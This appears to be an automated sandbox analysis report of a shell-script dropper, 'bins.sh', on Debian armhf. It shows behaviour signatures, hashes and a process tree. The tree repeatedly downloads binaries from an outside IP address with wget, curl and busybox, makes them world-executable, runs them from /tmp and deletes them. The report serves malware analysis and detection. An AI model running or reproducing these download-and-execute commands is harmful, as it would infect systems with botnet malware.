Analysis

  • max time kernel
    20s
  • max time network
    22s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    09/11/2024, 00:08

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241109-aewn3ssgnf
  • SHA256 9832f5a85e197fcbb24a2bc20ea965e9c4484ed9d095d0878644522f17a288b1
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 14 IoCs
  • Checks CPU configuration 1 TTPs 14 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 28 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 14 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:652
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:654
        • /usr/bin/wget
          wget http://216.126.231.240/bins/caLSHb3cATxQUql8hNpSr2xZcIiK7mDmfE
          2⤵
            PID:656
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/caLSHb3cATxQUql8hNpSr2xZcIiK7mDmfE
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:674
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/caLSHb3cATxQUql8hNpSr2xZcIiK7mDmfE
            2⤵
              PID:684
            • /bin/chmod
              chmod 777 caLSHb3cATxQUql8hNpSr2xZcIiK7mDmfE
              2⤵
              • File and Directory Permissions Modification
              PID:686
            • /tmp/caLSHb3cATxQUql8hNpSr2xZcIiK7mDmfE
              ./caLSHb3cATxQUql8hNpSr2xZcIiK7mDmfE
              2⤵
              • Executes dropped EXE
              PID:687
            • /bin/rm
              rm caLSHb3cATxQUql8hNpSr2xZcIiK7mDmfE
              2⤵
                PID:688
              • /usr/bin/wget
                wget http://216.126.231.240/bins/uy3xidqLHdCSV7YVoVgVNEnNnQKl2qemX3
                2⤵
                  PID:689
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/uy3xidqLHdCSV7YVoVgVNEnNnQKl2qemX3
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:690
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/uy3xidqLHdCSV7YVoVgVNEnNnQKl2qemX3
                  2⤵
                    PID:695
                  • /bin/chmod
                    chmod 777 uy3xidqLHdCSV7YVoVgVNEnNnQKl2qemX3
                    2⤵
                    • File and Directory Permissions Modification
                    PID:700
                  • /tmp/uy3xidqLHdCSV7YVoVgVNEnNnQKl2qemX3
                    ./uy3xidqLHdCSV7YVoVgVNEnNnQKl2qemX3
                    2⤵
                    • Executes dropped EXE
                    PID:701
                  • /bin/rm
                    rm uy3xidqLHdCSV7YVoVgVNEnNnQKl2qemX3
                    2⤵
                      PID:703
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/JCg9Hgpj0oHYMWGKt0YGFdNdD56SaHmqUz
                      2⤵
                        PID:704
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/JCg9Hgpj0oHYMWGKt0YGFdNdD56SaHmqUz
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:728
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/JCg9Hgpj0oHYMWGKt0YGFdNdD56SaHmqUz
                        2⤵
                          PID:740
                        • /bin/chmod
                          chmod 777 JCg9Hgpj0oHYMWGKt0YGFdNdD56SaHmqUz
                          2⤵
                          • File and Directory Permissions Modification
                          PID:743
                        • /tmp/JCg9Hgpj0oHYMWGKt0YGFdNdD56SaHmqUz
                          ./JCg9Hgpj0oHYMWGKt0YGFdNdD56SaHmqUz
                          2⤵
                          • Executes dropped EXE
                          PID:744
                        • /bin/rm
                          rm JCg9Hgpj0oHYMWGKt0YGFdNdD56SaHmqUz
                          2⤵
                            PID:745
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/nqlfZIeF1rOpPKxVUUCJQ1NjrWj0QqDNVT
                            2⤵
                              PID:746
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/nqlfZIeF1rOpPKxVUUCJQ1NjrWj0QqDNVT
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:747
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/nqlfZIeF1rOpPKxVUUCJQ1NjrWj0QqDNVT
                              2⤵
                                PID:750
                              • /bin/chmod
                                chmod 777 nqlfZIeF1rOpPKxVUUCJQ1NjrWj0QqDNVT
                                2⤵
                                • File and Directory Permissions Modification
                                PID:755
                              • /tmp/nqlfZIeF1rOpPKxVUUCJQ1NjrWj0QqDNVT
                                ./nqlfZIeF1rOpPKxVUUCJQ1NjrWj0QqDNVT
                                2⤵
                                • Executes dropped EXE
                                PID:756
                              • /bin/rm
                                rm nqlfZIeF1rOpPKxVUUCJQ1NjrWj0QqDNVT
                                2⤵
                                  PID:758
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/mCyh0UwCPB7xxPIt5tHoAnQ6fwq4LOgb4w
                                  2⤵
                                    PID:759
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/mCyh0UwCPB7xxPIt5tHoAnQ6fwq4LOgb4w
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:765
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/mCyh0UwCPB7xxPIt5tHoAnQ6fwq4LOgb4w
                                    2⤵
                                      PID:780
                                    • /bin/chmod
                                      chmod 777 mCyh0UwCPB7xxPIt5tHoAnQ6fwq4LOgb4w
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:785
                                    • /tmp/mCyh0UwCPB7xxPIt5tHoAnQ6fwq4LOgb4w
                                      ./mCyh0UwCPB7xxPIt5tHoAnQ6fwq4LOgb4w
                                      2⤵
                                      • Executes dropped EXE
                                      PID:786
                                    • /bin/rm
                                      rm mCyh0UwCPB7xxPIt5tHoAnQ6fwq4LOgb4w
                                      2⤵
                                        PID:787
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/Ge1t5mXd2x4qfk7nUxfjr22UGoLnpisqQw
                                        2⤵
                                          PID:788
                                        • /usr/bin/curl
                                          curl -O http://216.126.231.240/bins/Ge1t5mXd2x4qfk7nUxfjr22UGoLnpisqQw
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:789
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/Ge1t5mXd2x4qfk7nUxfjr22UGoLnpisqQw
                                          2⤵
                                            PID:790
                                          • /bin/chmod
                                            chmod 777 Ge1t5mXd2x4qfk7nUxfjr22UGoLnpisqQw
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:791
                                          • /tmp/Ge1t5mXd2x4qfk7nUxfjr22UGoLnpisqQw
                                            ./Ge1t5mXd2x4qfk7nUxfjr22UGoLnpisqQw
                                            2⤵
                                            • Executes dropped EXE
                                            PID:792
                                          • /bin/rm
                                            rm Ge1t5mXd2x4qfk7nUxfjr22UGoLnpisqQw
                                            2⤵
                                              PID:793
                                            • /usr/bin/wget
                                              wget http://216.126.231.240/bins/Do3m4LkwRC2IS0SkIcbNzt0qSfRZIfiA4n
                                              2⤵
                                                PID:794
                                              • /usr/bin/curl
                                                curl -O http://216.126.231.240/bins/Do3m4LkwRC2IS0SkIcbNzt0qSfRZIfiA4n
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:795
                                              • /bin/busybox
                                                /bin/busybox wget http://216.126.231.240/bins/Do3m4LkwRC2IS0SkIcbNzt0qSfRZIfiA4n
                                                2⤵
                                                  PID:796
                                                • /bin/chmod
                                                  chmod 777 Do3m4LkwRC2IS0SkIcbNzt0qSfRZIfiA4n
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:797
                                                • /tmp/Do3m4LkwRC2IS0SkIcbNzt0qSfRZIfiA4n
                                                  ./Do3m4LkwRC2IS0SkIcbNzt0qSfRZIfiA4n
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:798
                                                • /bin/rm
                                                  rm Do3m4LkwRC2IS0SkIcbNzt0qSfRZIfiA4n
                                                  2⤵
                                                    PID:799
                                                  • /usr/bin/wget
                                                    wget http://216.126.231.240/bins/0fid49U4LeP6qTdBuf3tGcjGJvTYCMXyAf
                                                    2⤵
                                                      PID:800
                                                    • /usr/bin/curl
                                                      curl -O http://216.126.231.240/bins/0fid49U4LeP6qTdBuf3tGcjGJvTYCMXyAf
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:801
                                                    • /bin/busybox
                                                      /bin/busybox wget http://216.126.231.240/bins/0fid49U4LeP6qTdBuf3tGcjGJvTYCMXyAf
                                                      2⤵
                                                        PID:802
                                                      • /bin/chmod
                                                        chmod 777 0fid49U4LeP6qTdBuf3tGcjGJvTYCMXyAf
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:803
                                                      • /tmp/0fid49U4LeP6qTdBuf3tGcjGJvTYCMXyAf
                                                        ./0fid49U4LeP6qTdBuf3tGcjGJvTYCMXyAf
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:804
                                                      • /bin/rm
                                                        rm 0fid49U4LeP6qTdBuf3tGcjGJvTYCMXyAf
                                                        2⤵
                                                          PID:805
                                                        • /usr/bin/wget
                                                          wget http://216.126.231.240/bins/Pv4L7Twx7x9ZkM4j7odBrcNd3kMSMgLuRk
                                                          2⤵
                                                            PID:806
                                                          • /usr/bin/curl
                                                            curl -O http://216.126.231.240/bins/Pv4L7Twx7x9ZkM4j7odBrcNd3kMSMgLuRk
                                                            2⤵
                                                            • Checks CPU configuration
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:807
                                                          • /bin/busybox
                                                            /bin/busybox wget http://216.126.231.240/bins/Pv4L7Twx7x9ZkM4j7odBrcNd3kMSMgLuRk
                                                            2⤵
                                                              PID:808
                                                            • /bin/chmod
                                                              chmod 777 Pv4L7Twx7x9ZkM4j7odBrcNd3kMSMgLuRk
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:809
                                                            • /tmp/Pv4L7Twx7x9ZkM4j7odBrcNd3kMSMgLuRk
                                                              ./Pv4L7Twx7x9ZkM4j7odBrcNd3kMSMgLuRk
                                                              2⤵
                                                              • Executes dropped EXE
                                                              PID:810
                                                            • /bin/rm
                                                              rm Pv4L7Twx7x9ZkM4j7odBrcNd3kMSMgLuRk
                                                              2⤵
                                                                PID:811
                                                              • /usr/bin/wget
                                                                wget http://216.126.231.240/bins/5qDUK5q6M2dWIOY4QVzSMu3ZXwFvs3JP9u
                                                                2⤵
                                                                  PID:812
                                                                • /usr/bin/curl
                                                                  curl -O http://216.126.231.240/bins/5qDUK5q6M2dWIOY4QVzSMu3ZXwFvs3JP9u
                                                                  2⤵
                                                                  • Checks CPU configuration
                                                                  • Reads runtime system information
                                                                  • Writes file to tmp directory
                                                                  PID:813
                                                                • /bin/busybox
                                                                  /bin/busybox wget http://216.126.231.240/bins/5qDUK5q6M2dWIOY4QVzSMu3ZXwFvs3JP9u
                                                                  2⤵
                                                                    PID:814
                                                                  • /bin/chmod
                                                                    chmod 777 5qDUK5q6M2dWIOY4QVzSMu3ZXwFvs3JP9u
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:815
                                                                  • /tmp/5qDUK5q6M2dWIOY4QVzSMu3ZXwFvs3JP9u
                                                                    ./5qDUK5q6M2dWIOY4QVzSMu3ZXwFvs3JP9u
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    PID:816
                                                                  • /bin/rm
                                                                    rm 5qDUK5q6M2dWIOY4QVzSMu3ZXwFvs3JP9u
                                                                    2⤵
                                                                      PID:817
                                                                    • /usr/bin/wget
                                                                      wget http://216.126.231.240/bins/WZV5vYIlDRpWlE69KDRmm7PgvUvDZUNGqU
                                                                      2⤵
                                                                        PID:818
                                                                      • /usr/bin/curl
                                                                        curl -O http://216.126.231.240/bins/WZV5vYIlDRpWlE69KDRmm7PgvUvDZUNGqU
                                                                        2⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        • Writes file to tmp directory
                                                                        PID:819
                                                                      • /bin/busybox
                                                                        /bin/busybox wget http://216.126.231.240/bins/WZV5vYIlDRpWlE69KDRmm7PgvUvDZUNGqU
                                                                        2⤵
                                                                          PID:820
                                                                        • /bin/chmod
                                                                          chmod 777 WZV5vYIlDRpWlE69KDRmm7PgvUvDZUNGqU
                                                                          2⤵
                                                                          • File and Directory Permissions Modification
                                                                          PID:821
                                                                        • /tmp/WZV5vYIlDRpWlE69KDRmm7PgvUvDZUNGqU
                                                                          ./WZV5vYIlDRpWlE69KDRmm7PgvUvDZUNGqU
                                                                          2⤵
                                                                          • Executes dropped EXE
                                                                          PID:822
                                                                        • /bin/rm
                                                                          rm WZV5vYIlDRpWlE69KDRmm7PgvUvDZUNGqU
                                                                          2⤵
                                                                            PID:823
                                                                          • /usr/bin/wget
                                                                            wget http://216.126.231.240/bins/SSIkXvATDVU4O8YSHffN6QX6aMyAThyi1P
                                                                            2⤵
                                                                              PID:824
                                                                            • /usr/bin/curl
                                                                              curl -O http://216.126.231.240/bins/SSIkXvATDVU4O8YSHffN6QX6aMyAThyi1P
                                                                              2⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              • Writes file to tmp directory
                                                                              PID:826
                                                                            • /bin/busybox
                                                                              /bin/busybox wget http://216.126.231.240/bins/SSIkXvATDVU4O8YSHffN6QX6aMyAThyi1P
                                                                              2⤵
                                                                                PID:828
                                                                              • /bin/chmod
                                                                                chmod 777 SSIkXvATDVU4O8YSHffN6QX6aMyAThyi1P
                                                                                2⤵
                                                                                • File and Directory Permissions Modification
                                                                                PID:829
                                                                              • /tmp/SSIkXvATDVU4O8YSHffN6QX6aMyAThyi1P
                                                                                ./SSIkXvATDVU4O8YSHffN6QX6aMyAThyi1P
                                                                                2⤵
                                                                                • Executes dropped EXE
                                                                                PID:830
                                                                              • /bin/rm
                                                                                rm SSIkXvATDVU4O8YSHffN6QX6aMyAThyi1P
                                                                                2⤵
                                                                                  PID:831
                                                                                • /usr/bin/wget
                                                                                  wget http://216.126.231.240/bins/g03O0My4AKbiNydAsStLxzZcvIGNqQ8i98
                                                                                  2⤵
                                                                                    PID:832
                                                                                  • /usr/bin/curl
                                                                                    curl -O http://216.126.231.240/bins/g03O0My4AKbiNydAsStLxzZcvIGNqQ8i98
                                                                                    2⤵
                                                                                    • Checks CPU configuration
                                                                                    • Reads runtime system information
                                                                                    • Writes file to tmp directory
                                                                                    PID:833
                                                                                  • /bin/busybox
                                                                                    /bin/busybox wget http://216.126.231.240/bins/g03O0My4AKbiNydAsStLxzZcvIGNqQ8i98
                                                                                    2⤵
                                                                                      PID:834
                                                                                    • /bin/chmod
                                                                                      chmod 777 g03O0My4AKbiNydAsStLxzZcvIGNqQ8i98
                                                                                      2⤵
                                                                                      • File and Directory Permissions Modification
                                                                                      PID:835
                                                                                    • /tmp/g03O0My4AKbiNydAsStLxzZcvIGNqQ8i98
                                                                                      ./g03O0My4AKbiNydAsStLxzZcvIGNqQ8i98
                                                                                      2⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:836
                                                                                    • /bin/rm
                                                                                      rm g03O0My4AKbiNydAsStLxzZcvIGNqQ8i98
                                                                                      2⤵
                                                                                        PID:837
                                                                                      • /usr/bin/wget
                                                                                        wget http://216.126.231.240/bins/smMNXl61GIAGtgSGXZXero75xY5WH4bjto
                                                                                        2⤵
                                                                                          PID:838
                                                                                        • /usr/bin/curl
                                                                                          curl -O http://216.126.231.240/bins/smMNXl61GIAGtgSGXZXero75xY5WH4bjto
                                                                                          2⤵
                                                                                          • Checks CPU configuration
                                                                                          • Reads runtime system information
                                                                                          • Writes file to tmp directory
                                                                                          PID:839
                                                                                        • /bin/busybox
                                                                                          /bin/busybox wget http://216.126.231.240/bins/smMNXl61GIAGtgSGXZXero75xY5WH4bjto
                                                                                          2⤵
                                                                                            PID:840
                                                                                          • /bin/chmod
                                                                                            chmod 777 smMNXl61GIAGtgSGXZXero75xY5WH4bjto
                                                                                            2⤵
                                                                                            • File and Directory Permissions Modification
                                                                                            PID:841
                                                                                          • /tmp/smMNXl61GIAGtgSGXZXero75xY5WH4bjto
                                                                                            ./smMNXl61GIAGtgSGXZXero75xY5WH4bjto
                                                                                            2⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:842
                                                                                          • /bin/rm
                                                                                            rm smMNXl61GIAGtgSGXZXero75xY5WH4bjto
                                                                                            2⤵
                                                                                              PID:843
                                                                                            • /usr/bin/wget
                                                                                              wget http://216.126.231.240/bins/nqlfZIeF1rOpPKxVUUCJQ1NjrWj0QqDNVT
                                                                                              2⤵
                                                                                                PID:844

                                                                                            Network

                                                                                                  MITRE ATT&CK Enterprise v15

                                                                                                  Replay Monitor

                                                                                                  Loading Replay Monitor...

                                                                                                  Downloads

                                                                                                  caLSHb3cATxQUql8hNpSr2xZcIiK7mDmfE

                                                                                                  • Path /tmp/caLSHb3cATxQUql8hNpSr2xZcIiK7mDmfE
                                                                                                  • Size 153B
                                                                                                  • SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
                                                                                                  • MD5 SHA1 SHA512

                                                                                                  uy3xidqLHdCSV7YVoVgVNEnNnQKl2qemX3

                                                                                                  • Path /tmp/uy3xidqLHdCSV7YVoVgVNEnNnQKl2qemX3
                                                                                                  • Size 555B
                                                                                                  • SHA256 77df749f6bbe85442500437f7e798f46b9635da344811ae3b4bf7d43048ee9bb
                                                                                                  • MD5 SHA1 SHA512